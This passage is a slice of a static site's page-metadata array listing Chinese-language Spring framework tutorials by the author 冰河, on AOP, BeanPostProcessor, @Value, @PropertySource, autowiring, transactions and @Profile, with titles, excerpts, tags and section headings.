AOP在同一个类里自身方法相互调用时无法拦截。哎,怎么办?还能怎么办呢?继续分析Spring源码,解决问题呗。于是乎,有了本文。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{name:"twitter:title",content:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html",relativePath:"md/core/spring/ioc/2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.md",key:"v-712bc0ae",path:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"问题阐述",slug:"问题阐述"},{level:2,title:"问题分析",slug:"问题分析"},{level:2,title:"问题解决",slug:"问题解决"},{level:2,title:"注意事项",slug:"注意事项"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在《[【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247485089&idx=1&sn=466c246a28440329d4bf3d82a2214229&chksm=cee5196cf992907a3aaa9e7bfef971328a16ceb525c8c80a34822e04955de3f423e1b8f90540&token=2101168258&lang=zh_CN#rd)》一文中,我们详细的介绍了BeanPostProcessor的执行流程。那么,BeanPostProcessor在Spring底层是如何使用的?今天,我们就一起来探讨下Spring的源码,一探BeanPostProcessor在Spring底层的使用情况。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{name:"twitter:title",content:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html",relativePath:"md/core/spring/ioc/2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.md",key:"v-d7fbb106",path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"BeanPostProcessor接口",slug:"beanpostprocessor接口"},{level:2,title:"ApplicationContextAwareProcessor类",slug:"applicationcontextawareprocessor类"},{level:2,title:"BeanValidationPostProcessor类",slug:"beanvalidationpostprocessor类"},{level:2,title:"InitDestroyAnnotationBeanPostProcessor类",slug:"initdestroyannotationbeanpostprocessor类"},{level:2,title:"AutowiredAnnotationBeanPostProcessor类",slug:"autowiredannotationbeanpostprocessor类"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"有些小伙伴问我,学习Spring是不是不用学习到这么细节的程度啊?感觉这些细节的部分在实际工作中使用不到啊,我到底需不需要学习到这么细节的程度呢?我的答案是:有必要学习到这么细节的程度,而且是有机会、有条件一定要学!吃透Spring的原理和源码!往往拉开人与人之间差距的就是这些细节的部分,当前只要是使用Java技术栈开发的Web项目,几乎都会使用Spring框架。而且目前各招聘网站上对于Java开发的要求几乎清一色的都是熟悉或者精通Spring。所以,你,很有必要学习Spring的细节知识点。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{name:"twitter:title",content:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-022-BeanPostProcessor后置处理器浅析.md",key:"v-77221ea5",path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"BeanPostProcessor后置处理器概述",slug:"beanpostprocessor后置处理器概述"},{level:2,title:"BeanPostProcessor后置处理器实例",slug:"beanpostprocessor后置处理器实例"},{level:2,title:"BeanPostProcessor后置处理器作用",slug:"beanpostprocessor后置处理器作用"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在之前的文章中,我们探讨了如何向Spring的IOC容器中注册bean组件,讲解了有关bean组件的生命周期的知识。今天,我们就来一起聊聊@Value注解的用法。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html"},{name:"twitter:title",content:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html",relativePath:"md/core/spring/ioc/2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.md",key:"v-71e386ca",path:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Value注解",slug:"value注解"},{level:2,title:"@Value注解用法",slug:"value注解用法"},{level:3,title:"1.不通过配置文件注入属性的情况",slug:"_1-不通过配置文件注入属性的情况"},{level:3,title:"2.通过配置文件注入属性的情况",slug:"_2-通过配置文件注入属性的情况"},{level:3,title:"3.@Value中\\#{..}和${...}的区别",slug:"_3-value中-和-的区别"},{level:2,title:"@Value注解案例",slug:"value注解案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"很多小伙伴都在问:冰河,你的Spring专题更新完了吗?怎么感觉像是写了一半啊?我:没有更新完呀,整个专题预计会有70多篇。那怎么更新了一半就去写别的了呢?那是因为有很多其他的小伙伴在后台留言说:急需学习一些其他的技术,所以,临时调整的。放心,Spring专题会持续更新的!这不,今天,我们就继续更新Spring专题。不出意外的话,会一直持续更新完!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html",relativePath:"md/core/spring/ioc/2022-04-04-024-使用@PropertySource加载配置文件,我只看这一篇.md",key:"v-64fa5c7f",path:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@PropertySource注解概述",slug:"propertysource注解概述"},{level:2,title:"@PropertySources注解",slug:"propertysources注解"},{level:2,title:"案例准备",slug:"案例准备"},{level:2,title:"使用xml文件方式获取值",slug:"使用xml文件方式获取值"},{level:2,title:"使用注解方式获取值",slug:"使用注解方式获取值"},{level:2,title:"使用Environment获取值",slug:"使用environment获取值"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用三大注解自动装配组件",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用三大注解自动装配组件",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"【Spring专题】停更一个多月,期间在更新其他专题的内容,不少小伙伴纷纷留言说:冰河,你【Spring专题】是不是停更了啊!其实并没有停更,只是中途有很多小伙伴留言说急需学习一些知识技能,以便于跳槽,哈哈,大家都懂得!所以,中途停更了一段时间,写了一些其他专题的文章。现在,继续更新【String专题】。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用三大注解自动装配组件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用三大注解自动装配组件"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-025-使用@Autowired@Qualifier@Primary三大注解自动装配组件.md",key:"v-36389193",path:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"注解说明",slug:"注解说明"},{level:3,title:"@Autowired注解",slug:"autowired注解"},{level:3,title:"@Qualifier注解",slug:"qualifier注解"},{level:3,title:"@Primary注解",slug:"primary注解"},{level:2,title:"自动装配",slug:"自动装配"},{level:2,title:"项目实战",slug:"项目实战"},{level:3,title:"测试@Autowired注解",slug:"测试-autowired注解"},{level:3,title:"测试@Qualifier注解",slug:"测试-qualifier注解"},{level:3,title:"测试容器中无组件的情况",slug:"测试容器中无组件的情况"},{level:3,title:"测试@Primary注解",slug:"测试-primary注解"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"有很多小伙伴们留言说,冰河,你能不能写一篇关于Spring事务的文章呢?我:可以啊,安排上了!那还等什么呢?走起啊!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html"},{name:"twitter:title",content:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html",relativePath:"md/core/spring/ioc/2022-04-04-029-看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深.md",key:"v-6a85b00e",path:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"事务的基本原理",slug:"事务的基本原理"},{level:2,title:"二、Spring 事务的传播属性",slug:"二、spring-事务的传播属性"},{level:2,title:"三、数据库隔离级别",slug:"三、数据库隔离级别"},{level:2,title:"四、Spring中的隔离级别",slug:"四、spring中的隔离级别"},{level:2,title:"五、事务的嵌套",slug:"五、事务的嵌套"},{level:2,title:"六、总结",slug:"六、总结"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,很多小伙伴出去面试都被问到了Spring问题,关于Spring,细节点很多,面试官也非常喜欢问一些很细节的技术点。所以,在 Spring 专题中,我们尽量把Spring的每个技术细节说清楚,将透彻。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-030-自定义组件如何注入Spring底层的组件.md",key:"v-07375fc8",path:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"概述",slug:"概述"},{level:2,title:"XxxAware接口概览",slug:"xxxaware接口概览"},{level:2,title:"XxxAware接口案例",slug:"xxxaware接口案例"},{level:2,title:"XxxAware原理",slug:"xxxaware原理"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在实际的企业开发环境中,往往都会将环境分为:开发环境、测试环境和生产环境,而每个环境基本上都是互相隔离的,也就是说,开发环境、测试环境和生产环境是互不相通的。在以前的开发过程中,如果开发人员完成相应的功能模块并通过单元测试后,会通过手动修改配置文件的形式,将项目的配置修改成测试环境,发布到测试环境进行测试。测试通过后,再将配置修改为生产环境,发布到生产环境。这样手动修改配置的方式,一方面增加了开发和运维的工作量,而且总是手工修改各项配置文件很容易出问题。那么,有没有什么方式可以解决这些问题呢?答案是:有!通过@Profile注解就可以完全做到。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html"},{name:"twitter:title",content:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html",relativePath:"md/core/spring/ioc/2022-04-04-031-使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了.md",key:"v-4e3b04ee",path:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Profile注解",slug:"profile注解"},{level:2,title:"环境搭建",slug:"环境搭建"},{level:2,title:"根据环境注册bean",slug:"根据环境注册bean"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"面试官竟然让我现场搭建一个AOP测试环境",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"面试官竟然让我现场搭建一个AOP测试环境",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"今天是9月1号,金九银十的跳槽黄金期已拉开序幕,相信很多小伙伴也在摩拳擦掌,想换一个新的工作环境。然而,由于今年疫情的影响,很多企业对于招聘的要求是越来越严格。之前,很多不被问及的知识点,最近面试时都会被问到了。这不,有些面试官竟然让面试者现场搭建一个AOP测试环境。那怎么办呢?那就给他搭建一个呗!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"面试官竟然让我现场搭建一个AOP测试环境"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-032-%E9%9D%A2%E8%AF%95%E5%AE%98%E7%AB%9F%E7%84%B6%E8%AE%A9%E6%88%91%E7%8E%B0%E5%9C%BA%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAAOP%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83.html"},{name:"twitter:title",content:"面试官竟然让我现场搭建一个AOP测试环境"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-032-%E9%9D%A2%E8%AF%95%E5%AE%98%E7%AB%9F%E7%84%B6%E8%AE%A9%E6%88%91%E7%8E%B0%E5%9C%BA%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAAOP%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-032-%E9%9D%A2%E8%AF%95%E5%AE%98%E7%AB%9F%E7%84%B6%E8%AE%A9%E6%88%91%E7%8E%B0%E5%9C%BA%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAAOP%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83.html",relativePath:"md/core/spring/ioc/2022-04-04-032-面试官竟然让我现场搭建一个AOP测试环境.md",key:"v-24e2ebfa",path:"/md/core/spring/ioc/2022-04-04-032-%E9%9D%A2%E8%AF%95%E5%AE%98%E7%AB%9F%E7%84%B6%E8%AE%A9%E6%88%91%E7%8E%B0%E5%9C%BA%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAAOP%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83.html",headers:[{level:2,title:"什么是AOP?",slug:"什么是aop"},{level:2,title:"搭建环境",slug:"搭建环境"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}